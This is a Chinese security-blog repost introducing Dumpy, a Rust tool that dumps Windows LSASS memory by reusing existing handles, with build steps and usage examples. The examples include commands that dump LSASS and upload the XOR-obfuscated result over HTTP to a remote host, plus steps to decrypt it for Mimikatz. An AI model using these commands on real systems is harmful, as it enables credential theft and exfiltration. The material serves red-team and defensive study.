Dumpy:一款针对LSASS数据的动态内存取证工具

admin 2024年8月23日00:01:24评论38 views字数 1530阅读5分6秒阅读模式

Dumpy:一款针对LSASS数据的动态内存取证工具

关于Dumpy
Dumpy是一款针对LSASS数据的动态内存取证工具,该工具专为红队和蓝队研究人员设计,支持重新使用打开的句柄来动态转储 LSASS。
Dumpy:一款针对LSASS数据的动态内存取证工具
运行机制
Dumpy可以动态调用 MiniDumpWriteDump 来转储 lsass 内存内容。此过程无需打开 lsass 的新进程句柄,也无需使用DInvoke_rs。
为了在不调用 lsass 上的 OpenProcess 的情况下获得有效的进程句柄,系统中的所有进程句柄都使用 NtQuerySystemInformation、NtDuplicateObject、NtQueryObject 和 QueryFullProcessImageNameW 进行分析。
在将内存转储存储到磁盘或通过 HTTP 发送之前,该工具会使用 NTFS 事务对其进行异或运算。
工具要求
Rust
cargo
工具安装
接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
C:UsersUserDesktop> git clone https://github.com/Kudaes/Dumpy.git
然后在release模式下编译项目代码并执行即可:
C:UsersUserDesktopDumpydumpy> cargo build --releaseC:UsersUserDesktopDumpydumpytargetx86_64-pc-windows-msvcrelease> dumpy.exe -h
如果您想要为 x86 系统编译该工具,请修改文件 .cargoconfig 中的选项「target」的值(例如:target =「i686-pc-windows-msvc」)。
工具使用
Usage: dumpy.exe --dump|--decrypt [options]Options: -h, --help 打印工具帮助信息你--dump 转储Lsass数据--decrypt 解密之前生成的转储文件 -f, --force 通过竞争条件强制服务暴露lsass句柄、 -k, --key 加密密钥 [默认: 1234abcd] -i, --input 加密转储文件 [默认: c:tempinput.txt] -o, --output 目的路径 [默认: c:tempoutput.txt]-u, --upload 上传URL
工具运行演示

dump命令

它将执行转储 lsass 的主要逻辑。默认情况下,它将结果存储在当前目录中具有随机名称的 xored 文本文件中。upload 选项允许通过 HTTP 将内存内容发送到远程主机,从而避免在磁盘上创建 xored 文件。相关命令执行如下:
C:Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
使用竞争条件中强制暴露lsass句柄,并结合force参数:
C:Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force

decrypt命令

此操作允许以与 Mimikatz 等工具所期望的格式相同的格式获取解密的内存转储。它需要 xored 内存转储、加密密钥和输出文件路径作为参数。如果 xored 文件是使用 HTTP 上传的,则需要在解密过程之前对内容执行 base64 解码:
C:Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey
许可证协议
本项目的开发与发布遵循GPL-3.0开源许可协议。
项目地址
Dumpy:
https://github.com/Kudaes/Dumpy

原文始发于微信公众号(FreeBuf):Dumpy:一款针对LSASS数据的动态内存取证工具

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月23日00:01:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dumpy:一款针对LSASS数据的动态内存取证工具https://cn-sec.com/archives/3087829.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息